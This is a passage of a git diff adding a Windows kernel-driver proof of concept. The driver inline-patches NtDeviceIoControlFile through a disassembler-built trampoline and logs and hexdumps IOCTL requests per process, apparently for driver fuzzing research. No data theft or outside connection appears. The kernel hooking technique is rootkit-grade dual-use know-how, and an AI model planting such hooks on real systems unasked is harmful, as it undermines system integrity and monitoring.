+ process_entry = LookupProcessInfo(Process); + if (process_entry) + { + if (process_entry->Data && + process_entry->DataSize == sizeof(LST_PROCESS_INFO)) + { + PLST_PROCESS_INFO Info = (PLST_PROCESS_INFO)process_entry->Data; + if (Info->usImagePath.Buffer) + { + // free process image path + RtlFreeUnicodeString(&Info->usImagePath); + } + } + + // delete information about this process from list + LstDelEntry(m_ProcessesList, process_entry); + } + } + } + __finally + { + KeReleaseMutex(&m_CommonMutex, FALSE); + } + + ObDereferenceObject(Process); + } + else + { + DbgMsg(__FILE__, __LINE__, "PsLookupProcessByProcessId() fails; status: 0x%.8x\n", ns); + } +} +//-------------------------------------------------------------------------------------- +PUNICODE_STRING LookupProcessName(PEPROCESS TargetProcess) +{ + PEPROCESS Process = TargetProcess; + PCOMMON_LST_ENTRY process_entry = NULL; + HANDLE ProcessId = NULL; + UNICODE_STRING ImagePath; + PUNICODE_STRING Ret = NULL; + + if (Process == NULL) + { + // lookup current process information entry + Process = PsGetCurrentProcess(); + } + + process_entry = LookupProcessInfo(Process); + if (process_entry) + { + if (process_entry->Data && + process_entry->DataSize == sizeof(LST_PROCESS_INFO)) + { + PLST_PROCESS_INFO Info = (PLST_PROCESS_INFO)process_entry->Data; + if (Info->usImagePath.Buffer) + { + // return process image path + return &Info->usImagePath; + } + } + + return NULL; + } + + // information entry for current process is not found, allocate it + ProcessId = PsGetCurrentProcessId(); + + + // get full image path for this process + if (GetProcessFullImagePath(Process, &ImagePath)) + { + WCHAR wcProcess[0x200]; + UNICODE_STRING usProcess; + LST_PROCESS_INFO Info; + + swprintf(wcProcess, L"'%wZ' (" IFMT_W L")", &ImagePath, Process); + RtlInitUnicodeString(&usProcess, wcProcess); + + + Info.Process = Process; + Info.ProcessId = ProcessId; + + Info.usImagePath.Buffer = ImagePath.Buffer; + Info.usImagePath.Length = ImagePath.Length; + Info.usImagePath.MaximumLength = ImagePath.MaximumLength; + + // add process information into the list + if (process_entry = LstAddEntry(m_ProcessesList, &usProcess, &Info, sizeof(Info))) + { + PLST_PROCESS_INFO pInfo = (PLST_PROCESS_INFO)process_entry->Data; + Ret = &pInfo->usImagePath; + } + else + { + RtlFreeUnicodeString(&ImagePath); + } + } + + return Ret; +} +//-------------------------------------------------------------------------------------- +BOOLEAN ValidateUnicodeString(PUNICODE_STRING usStr) +{ + ULONG i = 0; + if (!MmIsAddressValid(usStr)) + { + return FALSE; + } + + if (usStr->Buffer == NULL || usStr->Length == 0) + { + return FALSE; + } + + for (i = 0; i < usStr->Length; i++) + { + if (!MmIsAddressValid((PUCHAR)usStr->Buffer + i)) + { + return FALSE; + } + } + + return TRUE; +} + + +//-------------------------------------------------------------------------------------- +NTSTATUS NTAPI new_NtDeviceIoControlFile( + HANDLE FileHandle, + HANDLE Event, + PIO_APC_ROUTINE ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + ULONG IoControlCode, + PVOID InputBuffer, + ULONG InputBufferLength, + PVOID OutputBuffer, + ULONG OutputBufferLength) +{ + KPROCESSOR_MODE PrevMode = ExGetPreviousMode(); + BOOLEAN bLogOutputBuffer = FALSE; + NTSTATUS status = STATUS_UNSUCCESSFUL; + + POBJECT_NAME_INFORMATION DeviceObjectName = NULL, DriverObjectName = NULL; + PFILE_OBJECT pFileObject = NULL; + NTSTATUS ns = 0; + + BOOLEAN bProcessEvent = FALSE; + + LARGE_INTEGER Timeout; + + PVOID pDeviceObject = NULL; + PLDR_DATA_TABLE_ENTRY pModuleEntry = NULL; + + PEPROCESS Process; + HANDLE ProcessId; + + _InterlockedIncrement(&g_newDeviceIoControlFileCallCount); + // get device object by handle + ns = ObReferenceObjectByHandle( + FileHandle, + 0, 0, + KernelMode, + (PVOID *)&pFileObject, + NULL + ); + if(!NT_SUCCESS(ns)) + goto end; + + // validate pointer to device object + if (MmIsAddressValid(pFileObject->DeviceObject)) + { + pDeviceObject = pFileObject->DeviceObject; + } + else + { + goto end; + } + + if (pDeviceObject == m_DeviceObject) + { + // don't handle requests to our driver + goto end; + } + + // validate pointer to driver object + if (!MmIsAddressValid(pFileObject->DeviceObject->DriverObject)) + { + goto end; + } + + // get loader information entry for the driver module + pModuleEntry = (PLDR_DATA_TABLE_ENTRY) + pFileObject->DeviceObject->DriverObject->DriverSection; + + if (pModuleEntry == NULL) + { + goto end; + } + + // validate pointer to loader's table and data from it + if (!MmIsAddressValid(pModuleEntry) || + !ValidateUnicodeString(&pModuleEntry->FullDllName)) + { + goto end; + } + + // get device name by poinet + DeviceObjectName = GetObjectName(pDeviceObject); + if(!DeviceObjectName) + goto end; + + DriverObjectName = GetObjectName(pFileObject->DeviceObject->DriverObject); + if(!DriverObjectName) + goto end; + + Process = PsGetCurrentProcess(); + ProcessId = PsGetCurrentProcessId(); + + Timeout.QuadPart = RELATIVE(SECONDS(5)); + ns = KeWaitForMutexObject(&m_CommonMutex, Executive, KernelMode, FALSE, &Timeout); + if (ns == STATUS_TIMEOUT) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Wait timeout\n"); + goto end; + } + + __try + { + PWSTR Methods[] = + { + L"METHOD_BUFFERED", + L"METHOD_IN_DIRECT", + L"METHOD_OUT_DIRECT", + L"METHOD_NEITHER" + }; + + PWSTR lpwcMethod = Methods[IoControlCode & 3]; + + + char *lpszKdCommand = NULL; + + LARGE_INTEGER Time; + + // get process image path + PUNICODE_STRING ProcessImagePath = LookupProcessName(NULL); + if(!ProcessImagePath) + __leave; + + KeQuerySystemTime(&Time); + + // get text name of the method + currentDeviceObject = pFileObject->DeviceObject; + currentDriverObject = pFileObject->DeviceObject->DriverObject; + currentIoControlCode = IoControlCode; + currentInputBuffer = InputBuffer; + currentInputBufferLength = InputBufferLength; + currentOutputBuffer = OutputBuffer; + currentOutputBufferLength = OutputBufferLength; + +// if (m_FuzzOptions & FUZZ_OPT_LOG_IOCTL_GLOBAL) +// { +// // log IOCTL information into the global log +// LogDataIoctls("timestamp=0x%.8x%.8x\r\n", Time.HighPart, Time.LowPart); +// LogDataIoctls("process_id=%d\r\n", ProcessId); +// LogDataIoctls("process_path=%wZ\r\n", ProcessImagePath); +// LogDataIoctls("device=%wZ\r\n", &DeviceObjectName->Name); +// LogDataIoctls("driver=%wZ\r\n", &DriverObjectName->Name); +// LogDataIoctls("image_file=%wZ\r\n", &pModuleEntry->FullDllName); +// LogDataIoctls("code=0x%.8x\r\n", IoControlCode); +// LogDataIoctls("method=%ws\r\n", lpwcMethod); +// LogDataIoctls("in_size=%d\r\n", InputBufferLength); +// LogDataIoctls("out_size=%d\r\n", OutputBufferLength); +// LogDataIoctls("\r\n"); +// } + + // get debugger command, that can be associated with this IOCTL + lpszKdCommand = FltGetKdCommand( + &DeviceObjectName->Name, + &DriverObjectName->Name/*pModuleEntry->FullDllName*/, + IoControlCode, + ProcessImagePath + ); + + bProcessEvent = FltIsMatchedRequest( + &DeviceObjectName->Name, + &pModuleEntry->FullDllName, + IoControlCode, + ProcessImagePath + ); + + if ((bProcessEvent || lpszKdCommand) && + (m_FuzzOptions & FUZZ_OPT_LOG_IOCTL)) + { + LogDataIoctls( + "timestamp=0x%.8x%.8x\r\n \ + process_id=%d\r\n \ + process_path=%wZ\r\n \ + device=%wZ\r\n \ + driver=%wZ\r\n \ + image_file=%wZ\r\n \ + code=0x%.8x\r\n \ + method=%ws\r\n \ + in_size=%d\r\n \ + out_size=%d\r\n \ + \r\n", + Time.HighPart, Time.LowPart, + ProcessId, + ProcessImagePath, + &DeviceObjectName->Name, + &DriverObjectName->Name, + &pModuleEntry->FullDllName, + IoControlCode, + lpwcMethod, + InputBufferLength, + OutputBufferLength); + + if (m_FuzzOptions & FUZZ_OPT_LOG_IOCTL_BUFFERS) + { + // log output buffer information + LogDataIoctls(" OutBuff: "IFMT", OutSize: 0x%.8x\r\n", + OutputBuffer, + OutputBufferLength); + + // log input buffer information + LogDataIoctls(" InBuff: "IFMT", InSize: 0x%.8x\r\n", + InputBuffer, + InputBufferLength); + + // print input buffer contents + LogDataIoctls("--------------------------------------------------------------------\r\n"); + LogDataHexdump((PUCHAR)InputBuffer, min(InputBufferLength, MAX_IOCTL_BUFFER_LEGTH)); + LogDataIoctls("\r\n"); + } + } + } + __finally + { + KeReleaseMutex(&m_CommonMutex, FALSE); + } +end: + if(pFileObject) + ObDereferenceObject(pFileObject); + + if(DriverObjectName) + ExFreePool(DriverObjectName); + + if(DeviceObjectName) + ExFreePool(DeviceObjectName); + + // restore KTHREAD::PreviousMode + SetPreviousMode(PrevMode); + // call original function + status = old_NtDeviceIoControlFile( + FileHandle, + Event, + ApcRoutine, + ApcContext, + IoStatusBlock, + IoControlCode, + InputBuffer, + InputBufferLength, + OutputBuffer, + OutputBufferLength + ); + + _InterlockedDecrement( &g_newDeviceIoControlFileCallCount ); + + return status; +} + +VOID WaitHookRemoveComplete() +{ + LONG Count = 0; + const LARGE_INTEGER WaitTime = {(ULONG)(-50 * 1000 * 10), -1}; + + do + { + KeDelayExecutionThread( KernelMode , FALSE , (PLARGE_INTEGER)&WaitTime ); + _InterlockedExchange( &Count , g_newDeviceIoControlFileCallCount ); + } while (Count != 0 ); + + return; +} +//-------------------------------------------------------------------------------------- +// EoF diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/handlers.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/handlers.h new file mode 100644 index 00000000..5911e5e9 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/handlers.h @@ -0,0 +1,43 @@ + +typedef struct _LST_PROCESS_INFO +{ + PEPROCESS Process; + HANDLE ProcessId; + UNICODE_STRING usImagePath; + +} LST_PROCESS_INFO, +*PLST_PROCESS_INFO; + +void FreeProcessInfo(void); +void NTAPI ProcessNotifyRoutine(HANDLE ParentId, HANDLE ProcessId, BOOLEAN Create); +PUNICODE_STRING LookupProcessName(PEPROCESS TargetProcess); + +typedef NTSTATUS (NTAPI * NT_DEVICE_IO_CONTROL_FILE)( + HANDLE FileHandle, + HANDLE Event, + PIO_APC_ROUTINE ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + ULONG IoControlCode, + PVOID InputBuffer, + ULONG InputBufferLength, + PVOID OutputBuffer, + ULONG OutputBufferLength +); + +NTSTATUS NTAPI new_NtDeviceIoControlFile( + HANDLE FileHandle, + HANDLE Event, + PIO_APC_ROUTINE ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + ULONG IoControlCode, + PVOID InputBuffer, + ULONG InputBufferLength, + PVOID OutputBuffer, + ULONG OutputBufferLength +); + +BOOLEAN ValidateUnicodeString(PUNICODE_STRING usStr); + +VOID WaitHookRemoveComplete(); \ No newline at end of file diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/hook.c b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/hook.c new file mode 100644 index 00000000..bffc7af8 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/hook.c @@ -0,0 +1,152 @@ +#include "stdafx.h" +//-------------------------------------------------------------------------------------- +PVOID Hook(PVOID Function, PVOID Handler, PULONG pBytesPatched) +{ +#ifdef _X86_ + +#define SIZEOFJUMP 6 + +#elif _AMD64_ + +#define SIZEOFJUMP 14 + +#endif + + ULONG Size = 0, CollectedSpace = 0; + PUCHAR pInst = (PUCHAR)Function; + ud_t ud_obj; + PVOID CallGate = NULL; + ULONG CallGateSize = 0; + + if (pBytesPatched) + { + *pBytesPatched = 0; + } + + // initialize disassembler engine + + ud_init(&ud_obj); + + // set mode, syntax and vendor + ud_set_mode(&ud_obj, UD_MODE); + ud_set_syntax(&ud_obj, UD_SYN_INTEL); + ud_set_vendor(&ud_obj, UD_VENDOR_INTEL); + + while (CollectedSpace < SIZEOFJUMP) + { + ULONG dwInstLen = 0; + int i = 0; + ud_set_input_buffer(&ud_obj, pInst, MAX_INST_LEN); + + // get length of instruction + dwInstLen = ud_disassemble(&ud_obj); + if (dwInstLen == 0) + { + // error while disassembling instruction + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Can't disassemble instruction at "IFMT"\n", pInst); + return NULL; + } + + if (ud_obj.mnemonic == UD_Ijmp || + ud_obj.mnemonic == UD_Icall) + { + // call/jmp with relative address + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() call/jmp/jxx instruction at "IFMT"\n", pInst); + return NULL; + } + + for (i = 0; i < 3; i++) + { + if (ud_obj.operand[i].type == UD_OP_JIMM) + { + // jxx with relative address + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() jxx instruction at "IFMT"\n", pInst); + return NULL; + } + } + + pInst += dwInstLen; + CollectedSpace += dwInstLen; + + if (ud_obj.mnemonic == UD_Iret || + ud_obj.mnemonic == UD_Iretf || + ud_obj.mnemonic == UD_Iiretw || + ud_obj.mnemonic == UD_Iiretq || + ud_obj.mnemonic == UD_Iiretd) + { + // end of the function thunk? + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ret/retn/iret instruction at "IFMT"\n", pInst); + break; + } + } + + if (SIZEOFJUMP > CollectedSpace) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: not enough memory for jump\n"); + return NULL; + } + + CallGateSize = CollectedSpace + SIZEOFJUMP; + + // allocate memory for callgate + CallGate = M_ALLOC(CallGateSize); + if (CallGate) + { + // generate callgate + memset(CallGate, 0x90, CallGateSize); + + // save begining of the function + memcpy(CallGate, Function, CollectedSpace); + +#ifdef _X86_ + + // jump from callgate to function body + // push imm32 + *(PUCHAR)((PUCHAR)CallGate + CollectedSpace) = 0x68; + *(PUCHAR *)((PUCHAR)CallGate + CollectedSpace + 1) = (PUCHAR)Function + SIZEOFJUMP; + // ret + *(PUCHAR)((PUCHAR)CallGate + CollectedSpace + 5) = 0xC3; + +#elif _AMD64_ + + // jmp qword [addr] + *(PUSHORT)((PUCHAR)CallGate + CollectedSpace) = 0x25FF; + *(PULONG)((PUCHAR)CallGate + CollectedSpace + 2) = 0; + // addr dq XXXh + *(PULONGLONG)((PUCHAR)CallGate + CollectedSpace + 6) = (ULONGLONG)Function + SIZEOFJUMP; + +#endif + + // jump from the function to callgate + memset(Function, 0x90, CollectedSpace); + +#ifdef _X86_ + + // push imm32 + *(PUCHAR)Function = 0x68; + *(PUCHAR *)((PUCHAR)Function + 1) = (PUCHAR)Handler; + // ret + *(PUCHAR)((PUCHAR)Function + 5) = 0xC3; + +#elif _AMD64_ + + // jmp qword [addr] + *(PUSHORT)Function = 0x25FF; + *(PULONG)((PUCHAR)Function + 2) = 0; + // addr dq XXXh + *(PULONGLONG)((PUCHAR)Function + 6) = (ULONGLONG)Handler; + +#endif + *pBytesPatched = CollectedSpace; + + return CallGate; + } + else + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n"); + } + + return NULL; +} +//-------------------------------------------------------------------------------------- +// EoF diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/hook.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/hook.h new file mode 100644 index 00000000..ac263fe9 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/hook.h @@ -0,0 +1,13 @@ +#ifdef _X86_ + +#define MAX_INST_LEN 16 +#define UD_MODE 32 + +#elif _AMD64_ + +#define MAX_INST_LEN 24 +#define UD_MODE 64 + +#endif + +PVOID Hook(PVOID Function, PVOID Handler, PULONG pBytesPatched); diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/log.c b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/log.c new file mode 100644 index 00000000..9ab68119 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/log.c @@ -0,0 +1,266 @@ +#include "stdafx.h" + +// defined in handlers.cpp +extern ULONG m_FuzzOptions; + +// defined in debug.cpp +extern HANDLE hDbgPipe; +extern KMUTEX DbgMutex; + +#define LOG_BUFF_SIZE 0x1000 + +HANDLE m_hIoctlsLogFile = NULL; + +WCHAR m_wcIoctlsLogFilePath[MAX_REQUEST_STRING]; +UNICODE_STRING m_usIoctlsLogFilePath; +//-------------------------------------------------------------------------------------- +void LogData(char *lpszFormat, ...) +{ + IO_STATUS_BLOCK IoStatusBlock; + va_list mylist; + + char *lpszBuff = (char *)M_ALLOC(LOG_BUFF_SIZE); + if (lpszBuff == NULL) + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n"); + return; + } + + va_start(mylist, lpszFormat); + vsprintf(lpszBuff, lpszFormat, mylist); + va_end(mylist); + + if (m_FuzzOptions & FUZZ_OPT_LOG_DEBUG) + { + // post message into debug output + DbgPrint(lpszBuff); + } + +#ifdef DBGPIPE + + if (KeGetCurrentIrql() == PASSIVE_LEVEL) + { + KeWaitForMutexObject(&DbgMutex, Executive, KernelMode, FALSE, NULL); + + if (hDbgPipe) + { + // write debug message into pipe + IO_STATUS_BLOCK IoStatusBlock; + ULONG Len = (ULONG)strlen(lpszBuff) + 1; + + ZwWriteFile(hDbgPipe, 0, NULL, NULL, &IoStatusBlock, (PVOID)&Len, sizeof(Len), NULL, NULL); + ZwWriteFile(hDbgPipe, 0, NULL, NULL, &IoStatusBlock, lpszBuff, Len, NULL, NULL); + } + + KeReleaseMutex(&DbgMutex, FALSE); + } + +#endif // DBGPIPE + + M_FREE(lpszBuff); +} +//-------------------------------------------------------------------------------------- +BOOLEAN LogDataIoctlsInitLogFile(void) +{ + BOOLEAN bRet = FALSE; + UNICODE_STRING usNtdllPath; + OBJECT_ATTRIBUTES ObjAttr; + HANDLE hNtdll = NULL; + IO_STATUS_BLOCK StatusBlock; + + NTSTATUS ns = STATUS_UNSUCCESSFUL; + + RtlInitUnicodeString(&usNtdllPath, L"\\SystemRoot\\system32\\ntdll.dll"); + InitializeObjectAttributes(&ObjAttr, &usNtdllPath, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , NULL, NULL); + + // get file handle + ns = ZwOpenFile( + &hNtdll, + FILE_READ_DATA | SYNCHRONIZE, + &ObjAttr, + &StatusBlock, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_SYNCHRONOUS_IO_NONALERT + ); + if (NT_SUCCESS(ns)) + { + PFILE_OBJECT FileObject = NULL; + + // get file object by handle + ns = ObReferenceObjectByHandle(hNtdll, 0, 0, KernelMode, (PVOID *)&FileObject, NULL); + if (NT_SUCCESS(ns)) + { + // get DOS path for file object + POBJECT_NAME_INFORMATION ObjectNameInfo; + ns = IoQueryFileDosDeviceName(FileObject, &ObjectNameInfo); + if (NT_SUCCESS(ns)) + { + size_t DosDriveLen = wcslen(L"C:\\"); + RtlZeroMemory(m_wcIoctlsLogFilePath, sizeof(m_wcIoctlsLogFilePath)); + + // check for valid DOS path + if (ObjectNameInfo && + ObjectNameInfo->Name.Length > (DosDriveLen * sizeof(WCHAR)) && + ObjectNameInfo->Name.Buffer[1] == L':' && + ObjectNameInfo->Name.Buffer[2] == L'\\') + { + UNICODE_STRING usXmlPath; + wcscpy(m_wcIoctlsLogFilePath, L"\\??\\"); + wcsncat(m_wcIoctlsLogFilePath, ObjectNameInfo->Name.Buffer, DosDriveLen); + wcscat(m_wcIoctlsLogFilePath, IOCTLS_LOG_NAME); + + RtlInitUnicodeString(&m_usIoctlsLogFilePath, m_wcIoctlsLogFilePath); + InitializeObjectAttributes(&ObjAttr, &m_usIoctlsLogFilePath, + OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , NULL, NULL); + + // open IOCTLs log file + ns = ZwCreateFile( + &m_hIoctlsLogFile, + FILE_ALL_ACCESS | SYNCHRONIZE, + &ObjAttr, + &StatusBlock, + NULL, + FILE_ATTRIBUTE_NORMAL, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_OVERWRITE_IF, + FILE_SYNCHRONOUS_IO_NONALERT, + NULL, 0 + ); + if (NT_SUCCESS(ns)) + { + DbgMsg(__FILE__, __LINE__, "[+] IOCTLs log started: \"%wZ\"\n\n", &m_usIoctlsLogFilePath); + bRet = TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "ZwCreateFile() fails; status: 0x%.8x\n", ns); + } + } + } + else + { + DbgMsg(__FILE__, __LINE__, "IoQueryFileDosDeviceName() fails; status: 0x%.8x\n", ns); + } + + ObDereferenceObject(FileObject); + } + else + { + DbgMsg(__FILE__, __LINE__, "ObReferenceObjectByHandle() fails; status: 0x%.8x\n", ns); + } + + ZwClose(hNtdll); + } + else + { + DbgMsg(__FILE__, __LINE__, "ZwOpenFile() fails; status: 0x%.8x\n", ns); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +void LogDataIoctls(char *lpszFormat, ...) +{ + IO_STATUS_BLOCK IoStatusBlock; + va_list mylist; + + char *lpszBuff = (char *)M_ALLOC(LOG_BUFF_SIZE); + if (lpszBuff == NULL) + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n"); + return; + } + + if (KeGetCurrentIrql() > PASSIVE_LEVEL) + { + // IRQL is too high + return; + } + + if ((m_FuzzOptions & FUZZ_OPT_LOG_IOCTL_GLOBAL) && m_hIoctlsLogFile == NULL) + { + // log file is not initialized, try to create it + if (!LogDataIoctlsInitLogFile()) + { + // ... fails + return; + } + } + + va_start(mylist, lpszFormat); + vsprintf(lpszBuff, lpszFormat, mylist); + va_end(mylist); + + // write string into the log file + ZwWriteFile(m_hIoctlsLogFile, 0, NULL, NULL, &IoStatusBlock, lpszBuff, (ULONG)strlen(lpszBuff), NULL, NULL); + + M_FREE(lpszBuff); +} +//-------------------------------------------------------------------------------------- +void LogDataHexdump(PUCHAR Data, ULONG Size) +{ + unsigned int dp = 0, p = 0; + const char trans[] = + "................................ !\"#$%&'()*+,-./0123456789" + ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" + "nopqrstuvwxyz{|}~...................................." + "....................................................." + "........................................"; + + char szBuff[0x100], szChr[10]; + RtlZeroMemory(szBuff, sizeof(szBuff)); + + for (dp = 1; dp <= Size; dp++) + { + sprintf(szChr, "%02x ", Data[dp-1]); + strcat(szBuff, szChr); + + if ((dp % 8) == 0) + { + strcat(szBuff, " "); + } + + if ((dp % 16) == 0) + { + strcat(szBuff, "| "); + p = dp; + + for (dp -= 16; dp < p; dp++) + { + sprintf(szChr, "%c", trans[Data[dp]]); + strcat(szBuff, szChr); + } + + LogDataIoctls("%s\r\n", szBuff); + RtlZeroMemory(szBuff, sizeof(szBuff)); + } + } + + if ((Size % 16) != 0) + { + p = dp = 16 - (Size % 16); + + for (dp = p; dp > 0; dp--) + { + strcat(szBuff, " "); + + if (((dp % 8) == 0) && (p != 8)) + { + strcat(szBuff, " "); + } + } + + strcat(szBuff, " | "); + for (dp = (Size - (16 - p)); dp < Size; dp++) + { + sprintf(szChr, "%c", trans[Data[dp]]); + strcat(szBuff, szChr); + } + + LogDataIoctls("%s\r\n", szBuff); + } + + LogDataIoctls("\r\n"); +} +//-------------------------------------------------------------------------------------- +// EoF diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/log.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/log.h new file mode 100644 index 00000000..eb5e8094 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/log.h @@ -0,0 +1,4 @@ + +void LogData(char *lpszFormat, ...); +void LogDataIoctls(char *lpszFormat, ...); +void LogDataHexdump(PUCHAR Data, ULONG Size); diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/lst.c b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/lst.c new file mode 100644 index 00000000..b1013f5a --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/lst.c @@ -0,0 +1,222 @@ +#include "stdafx.h" +//-------------------------------------------------------------------------------------- +PCOMMON_LST_ENTRY LstFindEntry( + PCOMMON_LST list, + PUNICODE_STRING ObjectName) +{ + PCOMMON_LST_ENTRY ret = NULL; + KIRQL OldIrql; + KeAcquireSpinLock(&list->ListLock, &OldIrql); + + __try + { + PCOMMON_LST_ENTRY e = list->list_head; + + while (e) + { + // for empty object name - just return first entry + if (ObjectName == NULL || + RtlEqualUnicodeString(&e->ObjectName, ObjectName, TRUE)) + { + ret = e; + break; + } + + e = e->next; + } + } + __finally + { + KeReleaseSpinLock(&list->ListLock, OldIrql); + } + + return ret; +} +//-------------------------------------------------------------------------------------- +PCOMMON_LST_ENTRY LstAddEntry( + PCOMMON_LST list, + PUNICODE_STRING ObjectName, + PVOID Data, + ULONG DataSize) +{ + PCOMMON_LST_ENTRY ret = NULL; + KIRQL OldIrql; + KeAcquireSpinLock(&list->ListLock, &OldIrql); + + __try + { + // allocate single list entry + PCOMMON_LST_ENTRY e = (PCOMMON_LST_ENTRY)M_ALLOC(sizeof(COMMON_LST_ENTRY)); + if (e) + { + RtlZeroMemory(e, sizeof(COMMON_LST_ENTRY)); + + if (Data && DataSize > 0) + { + // allocate memory for custom data + if (e->Data = M_ALLOC(DataSize)) + { + e->DataSize = DataSize; + RtlCopyMemory(e->Data, Data, DataSize); + } + else + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n"); + M_FREE(e); + return NULL; + } + } + + // allocate and copy string name + if (AllocUnicodeString(&e->ObjectName, ObjectName->MaximumLength)) + { + RtlCopyUnicodeString(&e->ObjectName, ObjectName); + } + else + { + if (e->Data) + { + M_FREE(e->Data); + } + + M_FREE(e); + return NULL; + } + + // add it to list + if (list->list_end) + { + list->list_end->next = e; + e->prev = list->list_end; + list->list_end = e; + } + else + { + list->list_end = list->list_head = e; + } + + ret = e; + } + else + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n"); + } + } + __finally + { + KeReleaseSpinLock(&list->ListLock, OldIrql); + } + + return ret; +} +//-------------------------------------------------------------------------------------- +void LstFlush(PCOMMON_LST list) +{ + KIRQL OldIrql; + KeAcquireSpinLock(&list->ListLock, &OldIrql); + + __try + { + // delete all entries from list + PCOMMON_LST_ENTRY e = list->list_head; + while (e) + { + PCOMMON_LST_ENTRY e_tmp = e->next; + + // delete single entry from list + if (e->prev) + e->prev->next = e->next; + + if (e->next) + e->next->prev = e->prev; + + if (list->list_head == e) + list->list_head = e->next; + + if (list->list_end == e) + list->list_end = e->prev; + + if (e->Data) + { + // delete data, if present + M_FREE(e->Data); + } + + // free name string + RtlFreeUnicodeString(&e->ObjectName); + M_FREE(e); + + e = e_tmp; + } + + list->list_head = NULL; + list->list_end = NULL; + } + __finally + { + KeReleaseSpinLock(&list->ListLock, OldIrql); + } +} +//-------------------------------------------------------------------------------------- +void LstDelEntry(PCOMMON_LST list, PCOMMON_LST_ENTRY e) +{ + KIRQL OldIrql; + KeAcquireSpinLock(&list->ListLock, &OldIrql); + + __try + { + // delete single entry from list + if (e->prev) + e->prev->next = e->next; + + if (e->next) + e->next->prev = e->prev; + + if (list->list_head == e) + list->list_head = e->next; + + if (list->list_end == e) + list->list_end = e->prev; + + if (e->Data) + { + // delete data, if present + M_FREE(e->Data); + } + + // free name string + RtlFreeUnicodeString(&e->ObjectName); + M_FREE(e); + } + __finally + { + KeReleaseSpinLock(&list->ListLock, OldIrql); + } +} +//-------------------------------------------------------------------------------------- +PCOMMON_LST LstInit(void) +{ + // allocate new list + PCOMMON_LST ret = (PCOMMON_LST)M_ALLOC(sizeof(COMMON_LST)); + if (ret) + { + ret->list_head = ret->list_end = NULL; + KeInitializeSpinLock(&ret->ListLock); + return ret; + } + else + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n"); + } + + return NULL; +} +//-------------------------------------------------------------------------------------- +void LstFree(PCOMMON_LST list) +{ + // flust list and free list descriptor + LstFlush(list); + M_FREE(list); +} +//-------------------------------------------------------------------------------------- +// EoF diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/lst.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/lst.h new file mode 100644 index 00000000..4dc26622 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/lst.h @@ -0,0 +1,45 @@ +/* + Common linked lists structures +*/ + +typedef struct _COMMON_LST_ENTRY +{ + UNICODE_STRING ObjectName; + ULONG ObjectType; + + PVOID Data; + ULONG DataSize; + + struct _COMMON_LST_ENTRY *next, *prev; + +} COMMON_LST_ENTRY, +*PCOMMON_LST_ENTRY; + +typedef struct _COMMON_LST +{ + KSPIN_LOCK ListLock; + PCOMMON_LST_ENTRY list_head, list_end; + +} 